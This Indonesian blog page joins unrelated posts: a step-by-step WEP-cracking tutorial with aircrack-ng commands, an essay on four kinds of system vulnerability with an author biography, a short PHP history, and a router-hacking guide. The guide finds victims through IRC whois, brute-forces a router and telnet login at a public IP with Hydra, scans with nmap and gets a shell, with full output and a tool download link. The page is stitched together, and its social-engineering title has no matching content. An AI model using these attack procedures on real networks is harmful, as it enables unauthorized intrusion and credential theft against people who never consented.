Belajar Mengenal Social Engineering Tekniknya Dan Cara Mengatasinya


Tempat belajar ilmu teknologi informasi | informatika | komputer | sistem | jaringan

 Hasil gambar untuk social engineering

Tutorial Hack Password Wifi Backtrack


 Tempat belajar ilmu teknologi informasi | informatika | komputer | sistem | jaringan

Hasil gambar untuk hack wifi

TeknoInfo - Hai sahabat tekno apa kabar kalian semua, kali ini kita akan bahas Bagaimana Hack Password WiFi? Jadi gimana sih caranya hack wifi itu ? Simak Berikut ya !

Downlaod Backtrack: www.backtrack-linux.org/downloads/
Pertama-tama Anda perlu memindai jaringan nirkabel yang tersedia.
Anda bisa menggunakan "NetStumbler" atau "Kismet" untuk Windows dan Linux dan KisMac untuk Mac.
Ini juga akan menunjukkan bagaimana jaringan Wi-fi dienkripsi. Dua teknik enkripsi yang paling umum adalah:

1) WEP (Wire Equivalent Privacy)
2) WAP (Wireless Application Protocol)

WEP memungkinkan hacker untuk memecahkan kunci WEP dengan mudah sedangkan WAP saat ini merupakan pilihan yang paling aman dan terbaik untuk mengamankan jaringan wi-fi
Tidak mudah dipecahkan seperti WEP karena satu-satunya cara untuk menarik kunci WAP adalah dengan menggunakan serangan brute force atau atack kamus

Bagaimana Crack WEP


Untuk crack WEP kita akan menggunakan distribusi Live Linux yang disebut BackTrack untuk crack WEP ..... diposkan oleh My Tricks Club

BackTrack memiliki banyak perangkat lunak terinstal namun untuk saat ini Alat yang akan kita gunakan di Backtrack adalah:

a) Kismet - detektor jaringan nirkabel
b) airodump - menangkap paket dari router nirkabel
c) aireplay - menempa permintaan ARP
d) aircrack - dekripsi kunci WEP

Ikuti langkah-langkah One by One

1) Pertama-tama kita harus menemukan titik akses nirkabel bersama dengan nomor bssid, essid dan channel-nya. Untuk melakukan ini kita akan menjalankan kismet dengan membuka terminal dan mengetikkan kismet. Ini mungkin meminta adaptor yang sesuai yang dalam kasus saya ath0. Anda bisa melihat nama perangkat Anda dengan mengetikkan perintah iwconfig.

2) Untuk dapat melakukan beberapa hal kemudian, adaptor nirkabel Anda harus dimasukkan ke dalam mode monitor. Kismet secara otomatis melakukan ini dan selama Anda tetap terbuka, adaptor nirkabel Anda akan tetap berada dalam mode monitor.

3) Dalam kismet Anda akan melihat bendera Y / N / 0. Masing-masing singkatan dari jenis enkripsi yang berbeda. Dalam kasus kami, kami akan mencari jalur akses dengan enkripsi WEP. Y = WEP N = BUKA 0 = LAINNYA (biasanya WAP).

4) Setelah Anda menemukan jalur akses, buka dokumen teks dan tempelkan di nama broadcast jaringan (essid), alamat mac (bssid) dan nomor salurannya. Untuk mendapatkan informasi di atas, gunakan tombol panah untuk memilih jalur akses dan tekan untuk mendapatkan lebih banyak informasi tentangnya.

5) Langkah selanjutnya adalah mulai mengumpulkan data dari access point dengan airodump. Buka terminal baru dan mulailah airodump dengan mengetikkan perintah:

airodump-ng -c [channel #] -w [filename] -bssid [bssid] [device]

Dalam perintah di atas, airodump-ng memulai program, jalur jalur akses Anda akan macet -c, file yang ingin Anda keluarkan akan berjalan setelah -w, dan alamat MAC dari jalur akses akan macet -bssid. Perintah diakhiri dengan nama perangkat. Pastikan untuk meninggalkan tanda kurung.

6) Biarkan di atas berjalan dan buka terminal lain. Selanjutnya kita akan menghasilkan beberapa paket palsu ke jalur akses target sehingga kecepatan output data akan meningkat. Masukkan perintah berikut:

aireplay-ng -1 0 -a [bssid] -h 00: 11: 22: 33: 44: 55: 66 -e [essid] [device]

Pada perintah di atas kita menggunakan program airplay-ng. The -1 memberitahukan program serangan spesifik yang ingin kita gunakan yang dalam kasus ini adalah otentikasi palsu dengan access point. 0 mengutip penundaan antara serangan, -a adalah alamat MAC dari titik akses target, -h adalah alamat MAC adapter nirkabel Anda, -e adalah nama (essid) dari titik akses target, dan perintah diakhiri dengan nama perangkat adaptor nirkabel

7) Sekarang, kita akan memaksa jalur akses target untuk mengirimkan sejumlah besar paket yang dapat kita manfaatkan dengan menggunakannya untuk mencoba memecahkan kunci WEP. Setelah perintah berikut dijalankan, periksa terminal airodump-ng Anda dan Anda akan melihat jumlah paket ARP mulai meningkat. Perintahnya adalah:

aireplay-ng -3 -b [bssid] -h 00: 11: 22: 33: 44: 5: 66 [device]

Dalam perintah ini, -3 memberitahukan program jenis serangan tertentu yang dalam kasus ini adalah injeksi paket, -b adalah alamat MAC dari titik akses target, -h adalah alamat MAC adapter nirkabel Anda, dan nama perangkat adaptor nirkabel pergi di akhir. Setelah mengumpulkan sekitar 50k-500k paket, Anda mungkin mulai mencoba untuk memecahkan kunci WEP. Perintah untuk memulai proses cracking adalah:

aircrack-ng -a 1-b [bssid] -n 128 [filename] .ivs


Dalam perintah ini, a 1 memaksa program ke dalam mode serangan WEP, the-b adalah target alamat MAC, dan -n 128 memberitahu program panjang kunci WEP. Jika Anda tidak tahu -n, maka tinggalkan saja. Ini harus memecahkan kunci WEP dalam hitungan detik. Semakin banyak paket yang Anda ambil, semakin besar kesempatan Anda untuk memecahkan kunci WEP.

Empat Domain Kerawanan Sistem

Tempat belajar ilmu teknologi informasi | informatika | komputer | sistem | jaringan

Hasil gambar untuk Empat Domain Kerawanan Sistem

Hai kawan , sudah lama ya, dan kali ini kita akan bahas Empat Domain Kerawanan Sistem. Bagaimana caranya mengetahui suatu  sistem aman atau tidak? Cara yang paling mudah
adalah  menugaskan  individu  atau mereka  yang memiliki keahlian  di bidang  keamanan
sistem  informasi untuk melakukan audit dan uji coba penetrasi (baca:  penetration test)
terhadap sistem terkait. Dari berbagai hasil uji coba yang ada, terlihat ada sejumlah cara
yang  biasa  dipergunakan  penyerang  untuk  masuk  dan  mengambil  alih  sistem.
Keberhasilan  penyerang ini  adalah karena yang bersangkutan sanggup mengeksploitasi
sejumlah kelemahan  yang  ada  pada sistem.  Berbagai  studi memperlihatkan  bahwa  ada
empat  lubang  kerawanan pada sistem yang  paling sering dimanfaatkan oleh penyerang 
dalam  melakukan  serangan,  masing-masing  terkait  dengan:  (i)  Sistem  Operasi;  (ii)
Aplikasi;  (iii)  Modul  Program;  dan  (iv) Konfigurasi.  Berikut adalah  pemaparan  singkat
terhadap aspek yang dimaksud.


Kerawanan dan Serangan pada Sistem Operasi

Seperti  diketahui  bersama,  piranti  lunak  sistem  operasi  moderen  sangatlah  kompleks
struktur  maupun  arsitekturnya.  Begitu  banyaknya  kebutuhan  dan  beranekaragamnya
fungsi  serta  kapabilitas  yang  diharapkan  membuat  sebuah  sistem  operasi  harus
dibangun  dari  beratus-ratus  bahkan  beribu-ribu  sub-modul  program  untuk  melayani
berbagai  jenis  services,  ports,  maupun  model  akses  yang  berbeda-beda.  Dengan
dem ikian  maka  diharapkan  pengguna dapat  melakukan  instalasi  sistem  operasi  sesuai
dengan  spesifikasi  keinginannya,  melalui  penyesuaian  terhadap  berbagai  parameter
yang  tersedia.  Namun  di sini pulalah  letak  kerawanannya.  Seorang  pengguna  atau  user
misalnya, sering sekali dalam melakukan instalasi sistem memilih mode “standard”,
alias  tanpa  melakukan  kustomisasi  terhadap  sejumlah  parameter  terkait,  yang
diantaranya  menyangkut  dengan  masalah  tingkat  keamanan1.  Tentu  saja  hal  ini
berakibat  tidak  terkonfigurasinya  proteksi  keam anan  ter hadap  sejumlah  services
maupun ports terkait, sehingga memudahkan penyerang  untuk melakukan penyusupan
dengan memanfaatkan lubang- lubang  kerawanan tersebut.                                               


1  Untuk memudahkan proses instalasi, sering kali tanpa membaca arahan terlebih dahulu, sang pengguna langsung memilih tombol “YES” untuk mempercepat proses 
Alasan  berikutnya  mengapa  banyak  terdapat  kerawanan  pada  sistem  operasi  adalah
karena  begitu  banyaknya  modul-modul  serta  sub-sub  m odul  pembentuknya,
mengakibatkan sering kali sebuah perusahaan pembuat sistem informasi “tidak
sempat” melakukan uji coba keamanan  terhadap  seluruh  kombinasi  dan/atau
per mutasi  dari  keseluruhan  modul  dan  sub-modul  pembentuk  sistem  oper asi  yang
dimaksud

2.Namun ter dapat pula lubang kerawanan yang sifatnya “tak terhindarkan” karena
merupakan bagian  dar i  trade-off kinerja  yang  diharapkan  dari sebuah sistem operasi –
sehingga harus dilakukan sebuah  desain atau rancangan piranti lunak yang  sedemikian
rupa.  Lihatlah  fenomena  buffer  overflow  yang  sebenarnya  merupakan  dampak  dari
mekanisme  memory  swap  yang  pada  dasarnya  merupakan  solusi  dari  permasalahan
sistem  operasi  klasik.  Atau  m asalah  penentuan  tingkat  keamanan  yang  dapat  diubah-
ubah parameternya oleh pengguna sesuai dengan profil resiko yang ingin diadopsi

3.Hal  lainnya  yang  juga  mengemuka  adalah  begitu  banyaknya  aplikasi  yang  berfungsi
sebagai “tambal sulam” (baca patches)  terhadap  lubang -lubang  sistem  operasi  yang
belum  mengalami  tes  uji  coba  secara  holistik.  Sifatnya  yang  ad-hoc  dan  lebih  bersifat
reaktif dan jangka pendek terkadang  menim bulkan sebuah kerawanan baru yang tanpa
disadari tertanam dalam sistem oper asi terkait.


Kerawanan dan Kualitas Aplikasi

Dalam  kenyataan  sehari-hari,  ada  tiga  jenis  piranti  lunak  aplikasi  yang  biasa
dipergunakan.  Jenis  pertama  adalah  aplikasi  siap  pakai  yang  dibeli  di  pasar  software
dan  langsung  diterapkan,  jenis  kedua  m erupakan  aplikasi  yang  dibangun  sendiri  oleh
per usahaan  yang  bersangkutan,  dan  jenis  ketiga  yaitu  aplikasi  yang  merupakan
kombinasi  dari  keduanya

4.  Terlepas  dari  perbedaan  ketiga  jenis  tersebut,
keseluruhannya  merupakan  sebuah  karya  intelektual  dari  seorang  atau  sekelompok
or ang  yang  memiliki  kompetensi  terkait  dengan  pengembangan  atau  rekayasa  sebuah
piranti  lunak  (baca:  sofware  engineering).  Dari  sinilah  cerita  terciptanya  kerawanan
bermula.

Pertama, pekerjaan  pembuatan sebuah  piranti  lunak aplikasi  biasanya  memiliki  target
dan  durasi  penyelesaian  tertentu,  karena  pengembangannya  dilakukan melalui sebuah
proses  aktivitas  berbasis  proyek.  Hal  ini  berarti  bahwa  setiap  praktisi  peng embang 
aplikasi,  memiliki  waktu  yang  sangat  terbatas.  Dalam  kondisi  ini  sangat  wajar  jika
terjadi sejumlah “kecerobohan” atau “kekura ng-hati-hatian” karena dikejar atau diburu -
buru target “waktu tayang” alias penyelesaian Jadwal yang ketat ini secar a teknis dan
                                                    
2  Inilah salah satu a lasan utama mengapa terkadang sistem operasi berbasis open source memiliki tingkat dan model keamanan yang jauh lebih baik dari proprietary adalah karena banyaknya pihak serta sumber daya yang setiap hari bekerjasama atau “keroyokan” melihat beragam kombinasi interaksi antar modul dan sub-modul guna mencari dan menambal segera lubang -lubang kerawanan yang ditemui.

3   Akibat adanya prinsip “keamanan” yang berbanding terbalik dengan “kenyamanan” 

4  Biasanya merupakan aplikasi yang  merupakan hasil kustomisasi dari modul-modul atau obyek-obyek program yang siap pakai dan dapat dirangkai satu dengan lainnya untuk membangun sebuah fungsi aplikasi yang lebih besar. Psikologis  sangat  berpengaruh  terhadap  terciptanya  sebuah  piranti  aplikasi  yang terbebas dari berbagai lubang- lubang kerawanan yang ada.

Kedua,  mengingat  begitu  banyaknya  modul  dan  objek  program  pembentuk  sebuah
aplikasi, dimana pada saatnya nanti software tersebut  akan diinstalasi di  berbagai  jeni
dan  ragam  lingkungan  piranti  keras  ser ta  jejaring  komputer  yang  berbeda,  akan
teramat sulit untuk melakukan uji coba  aplikasi yang  mencakup  seluruh  kemungkinan
konfigurasi  sistem  yang  ada.  Artinya  adalah  bahwa  sang  pengembang  tidak  memiliki
data atau informasi yang lengkap dan utuh m engenai kinerja  sistem secara keseluruhan
dalam berbagai kemungkinan konfigurasi sistem. 



Ketiga,  masih  begitu  banyaknya  programmer  jaman  sekarang  yang  m emikirkan  aspek
keamanan  sebagai  sesuatu  yang  additional  atau  bersifat  afterthought  consideration  –
alias  dipikirkan  kemudian  sebagai  sebuah  “pertimbangan tambahan” setelah sebuah
piranti  aplikasi  dibangun.  Padahal  sifat  dan  karakteristik  keamanan  yang   holistik
haruslah  dipikirkan  sejalan  dengan  kode  program  dibuat  dan  dikembangkan.
Belakangan  ini  mulai  terlihat  marak  diperkenalkan  teknologi  yang  terkait  deng an



secured  programming  untuk  mengatasi  berbagai  jenis  kerawanan  akibat  aktivitas
pem buatan program konvensional yang tidak memperhatikan aspek penting ini.

Keempat,  pengetahuan “pas-pasan” dari pengembang piranti lunak tidak jarang
membuat kualitas keamanan dari sebuah aplikasi sedemikian buruk dan rendahnya. Hal
ini  disebabkan  karena  kebanyakan  pemilik  dan  pengguna  aplikasi  hanya  menilai
efektivitas  serta kinerja  sebuah program  dari  segi  kelengkapan fungsionalitas  dan  user
interface saja, tanpa memikirkan mengenai kebutuhan berbagai jenis  pengam anan  yang 
diperlukan. 


Kerawanan pada Modul Program

Seperti  diketahui  bersama,  metodologi  dan  konsep  pengembangan  aplikasi  moderen
adalah  dengan  menggunakan  pendekatan  objek.  Artinya  adalah  kebanyakan
pengembang  piranti  lunak  tidak  selalu  membuat  fungsi,  prosedur,  modul,  atau  sub-
progr am dari nol atau “from scratch”, tetapi terlebih dahulu mencari apakah telah ad
objek  program  yang  telah  dibuat  orang  lain  dan  dapat  dipergunakan  (baca:  reusable).

Kebiasaan  ini  mendatangkan  sejumlah  keuntungan,  ter utama  terkait  dengan  faktor
kecepatan  proses  dan  penghematan  biaya  pengem bangan  aplikasi.  Namun  segi
negatifnya adalah begitu banyaknya pengembang yang “pasrah” percaya saja
menggunakan  sebuah  objek  tanpa  tahu  kualitas  keamanan  dari  “penggalan” program
tersebut.  Contohnya  adalah  penggunaan  m odul-modul  semacam   libraries,  scripts,
drivers,  dan  lain sebagainya. Pada kenyataannya,  begitu  banyak  ditemukan  modul  atau
objek  program  yang  sangat  rawan  karena  tidak  dibangun  dengan  memperhatikan
faktor  keamanan –  karena  sebagian  besar dari  objek  tersebut  dibangun  hanya  dengan
memperhatikan unsur fungsionalitasnya semata.


Kerawanan Akibat Konfigurasi Standar

Sebuah  sistem  inform asi  terdiri  dari  sejumlah  piranti  lunak  dan  piranti  keras.  Agar
bekerja  sesuai dengan kebutuhan, perlu diperhatikan sungguh-sungguh proses instalasi
dan  konfigurasi  keseluruhan  piranti  yang  dimaksud.  Namun  yang  terjadi  pada
kenyataannya,  tidak  semua  organisasi  memiliki  sumber  daya  manusia  yang
berpengetahuan dan berkompetensi memadai untuk melakukan hal tersebut. Akibatnya
adalah  tidak  jarang  dari  mereka  hanya  m encari  mudahnya  saja,  alias  melakukan
instalasi  dan  konfigurasi  sistem  secara  standar,  tanpa  memperhatikan  kebutuhan
khusus  dari  organisasi  yang  bersangkutan.  Misalnya  adalah  dalam   hal  melakukan
konfigurasi  firewalls  dimana  port-port  yang  seharusnya  ditutup  karena  alasan
keamanan menjadi terbuka karena sesuai dengan set up standar pabrik. Atau  pada saat
menginstalasi software anti virus dim ana tingkat keamanan yang “dipasang” adalah low
sehingga  tidak  berfungsi  maksimal  dalam  melindungi  sistem.  Hal-hal  semacam  inilah
yang menyebabkan “terciptanya” lubang- lubang kerawanan tanpa disadari.

Berdasarkan  keempat  jenis  aspek  kerawanan  tersebut,  ada  baiknya  sebuah  organisasi
menjalankan  strategi  khusus  untuk  menghindari  diri  dari  kemungkinan  dieskploitasi
oleh pihak-pihak tidak bertanggung jawab, misalnya adalah dengan cara:

   Sebelum membeli atau mengadakan sebuah modul objek atau aplikasi, dilakukan
penelitian terlebih  dahulu  mengenai  kinerja program  yang  dimaksud,  ter utama
dilihat dar i segi atau aspek keamanannya.


   Pada  saat  mengembangkan  sistem,  dilibatkan  programmer  atau  pihak-pihak
yang paham  benar  dan  memiliki kompetensi dalam  ilmu  secured  programming,
sehingga  produk  modul  maupun  aplikasi  yang  dibangun  telah
mempertimbangkan aspek keamanan yang dim aksud;

   Jika  tidak  memiliki  sumber  daya  yang  memiliki  kometensi  dan  keahlian  dalam
mengkonfigurasi  sebuah  sistem,  bekerjasamalah  dengan  konsultan  atau  ahli  di
bidang  piranti  tersebut  agar  dapat  melakukan  instalasi  parameter  keam anan
dalam sistem yang dim aksud; dan lain sebagainya


Richardus  Eko  Indrajit,  guru  besar  ilmu  komputer  ABFI  Institute  Perbanas,
dilahirkan  di  Jakarta  pada  tanggal  24  Januari  1969.  Menyelesaikan  studi  program  Sarjana Teknik  Komputer  dari  Institut  Teknologi  Sepuluh  Nopember  (ITS)  Surabaya  dengan  predikat Cum  Laude,  sebelum  akhirnya  menerima  bea  siswa  dari  Konsorsium  Production  Sharing Pertamina  untuk  melanjutkan  studi  di  Amerika  Serikat,  dimana  yang  bersangkutan  berhasil mendapatkan  gelar  Master  of  Science  di  bidang  Applied  Computer  Science  dari  Harvard University  (Massachusetts,  USA)  dengan  fokus  studi  di  bidang  artificial  intelligence.  

Adapun gelar  Doctor  of  Business  Administration  diperolehnya  dari  University  of  the  City  of  Manyla (Intramuros, Phillipines) dengan disertasi di bidang Manajemen Sistem Informasi Rumah Sakit.

Gelar  akademis  lain  yang  berhasil  diraihnya  adalah  Master  of  Business  Administration  dari Leicester  University  (Leicester  City,  UK),    Master  of  Arts  dari  the  London  School  of  Public Relations (Jakarta, Indonesia) dan M aster of Philosophy dari Maastricht  School of Management (Maastricht,  the  Netherlands).  Selain  itu,  aktif  pula  berpartisipasi  dalam  berbagai  program akademis  maupun  sertifikasi  di  sejumlah  perguruan  tinggi  terkemuka  dunia,  seperti:

 Massachusetts  Institute  of  Technology  (MIT),  Stanford  University,  Boston  University,  George Washington  University,  Carnegie-Mellon  University,  Curtin  University  of  Technology,  Monash University, Edith-Cowan University, dan Cambridge University. 

Saat ini menjabat sebagai Ketua Umum  Asosiasi  Perguruan  Tinggi  Informatika  dan  Komputer  (APTIKOM)  se-Indonesia  dan Chairman dari International Association of Software Architect (IASA) untuk Indonesian Chapter. Selain  di  bidang  akademik,  karir  profesionalnya  sebagai  konsultan  sistem  dan  teknologi informasi diawali dari Price Waterhouse Indonesia, yang diikuti dengan  berperan aktif  sebagai konsultan senior maupun manaj emen pada sejumlah perusahaan terkemuka di tanah air, antara lain:  Renaissance  Indonesia,  Prosys  Bangun  Nusantara,  Plasmedia,  the  Prime  Consulting,  the Jakarta Consulting Group, Soedarpo Informatika Group, dan IndoConsult Utama. Selama kurang lebih 15 tahun berkiprah di sektor swasta, terlibat langsung dalam berbagai proyek di beragam industri, seperti: bank dan keuangan, kesehatan, manufaktur, retail dan distribusi, transportasi, media,  infrastruktur, pendidikan, telekomunikasi,  pariwisata,  dan jasa-jasa lainnya.  Sementara itu,  aktif  pula  membantu  pemerintah  dalam  sejumlah  penugasan.  Dimulai  dari  penunjukan sebagai  Widya  Iswara  Lembaga  Ketahanan  Nasional  (Lemhannas),  yang  diikuti  dengan berperan sebagai Staf Khusus Bidang Teknologi Informasi Sekretaris Jendral Badan Pemeriksa Keuangan (BPK),  Staf Khusus Balitbang Departemen Komunikasi dan Informatika, Staf Khusus 

Bidang Teknologi Informasi Badan Narkotika Nasional, dan Konsultan Ahli Direktorat Teknologi
Informasi  dan  Unit  Khusus  Manajemen  Informasi  Bank  Indonesia.  Saat  ini  ditunjuk  oleh
pemerintah  Republik  Indonesia  untuk  menakhodai  institusi pengawas  internet  Indonesia  ID-SIRTII  (Indonesia  Security  Incident  Response  Team  on  Internet  Infrastructure).  Seluruh
pengalaman  yang  diperolehnya  selama  aktif    mengajar  sebagai  akademisi,  terlibat  di  dunia swasta,  dan  menjalani  tugas  pemerintahan  dituliskan  dalam  sejumlah  publikasi.  Hingga menjelang  akhir  tahun  2008,  telah  lebih  dari  25  buku  hasil  karyanya  yang  telah  diterbitkan secara nasional dan menjadi  referensi  berbagai institusi pendidikan, sektor swasta, dan badan pemerintahan  di Indonesia – diluar  beragam artikel dan  jurnal ilmiah yang telah  ditulis untuk komunitas  nasional,  regional,  dan  internasional.  Seluruh  karyanya  ini  dapat  dengan  mudah

diperoleh melalui situs pribadi http://www.eko-indrajit.com atau http://www.eko-indrajit.info.







Pengertian dan Sejarah PHP Dalam Database

Hasil gambar untuk sejarah php

Bagi kita yang berkecimpung di dunia web developer tentu tidak asing lagi dengan istilah PHP. Artikel ini saya tujukan bagi para web developer pemula yang hendak belajar tentang PHP. Oke langsung saja kita bahas lebih lanjut tentang PHP.

Pengertian PHP

PHP sendiri sebenarnya merupakan singkatan dari “Hypertext Preprocessor”, yang merupakan sebuah bahasa scripting tingkat tinggi yang dipasang pada dokumen HTML. Sebagian besar sintaks dalam PHP mirip dengan bahasa C, Java dan Perl, namun pada PHP ada beberapa fungsi yang lebih  spesifik. Sedangkan tujuan utama dari penggunaan bahasa ini adalah untuk memungkinkan perancang web yang dinamis dan dapat bekerja secara otomatis.

Sejarah PHP

PHP pertama kali dibuat oleh Rasmus Lerdroft, seorang programmer C. Pada waktu itu PHP masih bernama FI (Form Interpreted), yang wujudnya berupa sekumpulan script yang digunakan untuk mengolah data form dari web. Jadi semula PHP digunakannya untuk menghitung jumlah pengunjung di dalam webnya.
Kemudian ia mengeluarkan Personal Home Page Tools versi 1.0 secara gratis. Versi ini pertama kali keluar pada tahun 1995. Isinya adalah sekumpulan script PERL yang dibuatnya untuk membuat halaman webnya menjadi dinamis. Selanjutnya Rasmus merilis kode sumber tersebut untuk umum dan menamakannya PHP/FI, kependekan dari Hypertext Preprocessing’/Form Interpreter.
Dengan perilisan kode sumber ini menjadi open source, maka banyak programmer yang tertarik untuk ikut mengembangkan PHP.
Kemudian pada tahun 1996 ia mengeluarkan PHP versi 2.0 yang kemampuannya telah dapat mengakses database dan dapat terintegrasi dengan HTML. Pada rilis ini interpreter PHP sudah diimplementasikan dalam program C. Dalam rilis ini disertakan juga modul-modul ekstensi yang meningkatkan kemampuan PHP/FI secara signifikan.Pada tahun 1998 tepatnya pada tanggal 6 Juni 1998 keluarlah PHP versi 3.0 yang dikeluarkan oleh Rasmus sendiri bersama kelompok pengembang softwarenya.
PHP versi 4.0 keluar pada tanggal 22 Mei 2000 merupakan versi yang lebih lengkap lagi dibandingkan dengan versi sebelumnya. Perubahan yang paling mendasar pada PHP 4.0 adalah terintegrasinya Zend Engine yang dibuat oleh Zend Suraski dan Andi Gutmans yang merupakan penyempurnaan dari PHP scripting engine. Yang lainnya adalah build in HTTP session, tidak lagi menggunakan library tambahan seperti pada PHP. Tujuan dari bahasa scripting ini adalah untuk membuat aplikasi-aplikasi yang dijalankan di atas teknologi web. Dalam hal ini, aplikasi pada umumnya akan memberikan hasil pada web browser, tetapi prosesnya secara keseluruhan dijalankan web server.
PHP 4.0 adalah versi PHP yang paling banyak dipakai pada awal abad ke-21. Versi ini banyak dipakai disebabkan kemampuannya untuk membangun aplikasi web kompleks tetapi tetap memiliki kecepatan dan stabilitas yang tinggi.  Pada Juni 2004, Zend merilis PHP 5.0. Dalam versi ini, inti dari interpreter PHP mengalami perubahan besar. Versi ini juga memasukkan model pemrograman berorientasi objek ke dalam PHP untuk menjawab perkembangan bahasa pemrograman ke arah paradigma berorientasi objek.

Cara Hack Router Dengan Teknik Hydra

Inilah artikel mengenai banyak pengetahuan yang dapat membuat kita cerdas ataupun pintar dalam segala hal dan Jangan lupa berkomentar ya.


Hasil gambar untuk router

kali ini kita akan jabarkan cara mendapatkan username dan password router dengan hydra.

Apakah anda suka cari target di IRC untuk dihack router speedy atau di PC dibelakang router untuk pentest? Apakah anda masih mengandalkan target yang mengandalkan router speedy dengan keamanan password default yaitu user admin dan password admin ? Kalau anda masih mengandalkan metode serangan password default, maka disini penulis akan memberikan metode tambahan untuk anda yaitu metode brute force.

Disini penulis menggunakan tool Hydra. Hydra adalah tool untuk melakukan hacking password dengan menggunakan metode brute force, dengan anda memiliki kamus kata yang banyak yang dimungkinkan passwordnya ada di dalam kamus tersebut.

Di sini penulis contohkan misal kita join ke mIRC, kita contohkan saja nick ce_imutbgtt, nah whois aja itu nick dan kita akan mendapatkan IPnya.

atau bisa juga kita mengetahui IP router kita dengan cek arp-a misal router LAN 192.168.1.1 atau check IP public di checkmyip.com

Setelah kita dapatkan IPnya maka jalankan saja di browser IP address tersebut.

Setelah dijalankan http://180.254.70.135 maka akan tampil form window seperti dibawah ini

Jika menggunakan username admin dan password admin hasilnya adalah gagal maka anda akan dihadapkan pada 2 hal, terus maju atau tinggalkan target.

Jika anda ingin terus maju maka anda dapat menggunakan teknik brute force. Contohnya untuk melakukan exploitasi dengan hydra adalah

H:\hydra>hydra -m / -l admin -P data.txt 180.254.70.135 http-get

Hydra v6.0 (c) 2011 by van Hauser / THC – use allowed only for legal purposes.

Hydra (http://www.thc.org) starting at 2011-10-17 14:27:56

[DATA] 11 tasks, 1 servers, 11 login tries (l:1/p:11), ~1 tries per task

[DATA] attacking service http-get on port 80

[STATUS] attack finished for 180.254.70.135 (waiting for childs to finish)

[80][www] host: 180.254.70.135   login: admin   password: baseball

Hydra (http://www.thc.org) finished at 2011-10-17 14:27:57

H:\hydra>

Setelah kita masuk ke router dengan password yang didapat, jika kita ingin melakukan hacking server di belakang router maka kita dapat melakukan IP Forwarding dari router ke Server yang berada dibelakang router.

Disini kita tidak tahu IP-IP lokal berapa saja dibelakang router, karena itu kita dapat mengujinya satu persatu dengan melakukan ping walaupun tidak jaminan.

Disini diasumsikan IP Servernya adalah 192.168.1.2 setelah kita ping dapat.

D:\>ping 180.254.70.135

Pinging 180.254.70.135 with 32 bytes of data:

Reply from 180.254.70.135: bytes=32 time<1ms TTL=254

Reply from 180.254.70.135: bytes=32 time=2ms TTL=254

Reply from 180.254.70.135: bytes=32 time=11ms TTL=254

Reply from 180.254.70.135: bytes=32 time<1ms TTL=254

Setelah diping jalan maka kita dapat mencoba melakukan scanning dengan NMAP

C:\>nmap -v -A 180.254.70.135

Starting Nmap 5.21 ( http://nmap.org ) at 2011-10-17 15:28 Pacific Daylight Time

NSE: Loaded 36 scripts for scanning.

Initiating Ping Scan at 15:28

Scanning 180.254.70.135 [4 ports]

Completed Ping Scan at 15:28, 0.53s elapsed (1 total hosts)

Initiating Parallel DNS resolution of 1 host. at 15:28

Completed Parallel DNS resolution of 1 host. at 15:28, 3.09s elapsed

Initiating SYN Stealth Scan at 15:28

Scanning 180.254.70.135 [1000 ports]

Discovered open port 23/tcp on 180.254.70.135

Discovered open port 80/tcp on 180.254.70.135

Discovered open port 3389/tcp on 180.254.70.135

Discovered open port 21/tcp on 180.254.70.135

Completed SYN Stealth Scan at 15:28, 2.34s elapsed (1000 total ports)

Disini dari scanning dengan NMAP kita mendapatkan adanya port 23 yaitu port untuk telnet server. Dengan aktifnya Telnet Server maka kita dapat melakukan brute force ke server Telnet dengan Hydra.

H:\hydra>hydra -l administrator -P data.txt 180.254.70.135 telnet

Hydra v6.0 (c) 2011 by van Hauser / THC – use allowed only for legal purposes.

Hydra (http://www.thc.org) starting at 2011-10-17 15:21:22

[DATA] 6 tasks, 1 servers, 6 login tries (l:1/p:6), ~1 tries per task

[DATA] attacking service telnet on port 23

[STATUS] attack finished for 180.254.70.135 (waiting for childs to finish)

[23][telnet] host: 180.254.70.135   login: administrator   password: sepakbola

Hydra (http://www.thc.org) finished at 2011-10-17 15:21:26

Binggo, kita mendapatkan password telnetnya.

Masukkan login dan passwordnya dan kita akan mendapatkan shell dari telnet server. Contohnya :

Setelah kita klik Open. Masukkan login dan passwordnya.

Binggo, kita masuk ke shell server. :D

Untuk download Hydra. http://0xa.li/files/hydra-6.0-windows.zip. Untuk cari kamusnya untuk brute force dapat dicari sendiri di google, jika ingin buat sendiri juga boleh. Cayooo!

Pengamanannya jika anda ingin tetap dapat dipanggil router speedynya dari luar, maka anda dapat membuat password yang susah ditebak dengan berbagai kombinasi huruf dan angka yang kompleks tapi tetap mudah diingat. Jika ingin lebih aman lagi ya tidak perlu membuat router speedy bisa diakses dari internet, caranya misal dengan melempar port 80 ke IP lain yang kosong atau tidak dipakai.

Saya tidak bertanggung sama sekali atas semua hal-hal yang diakibatkan oleh artikel ini.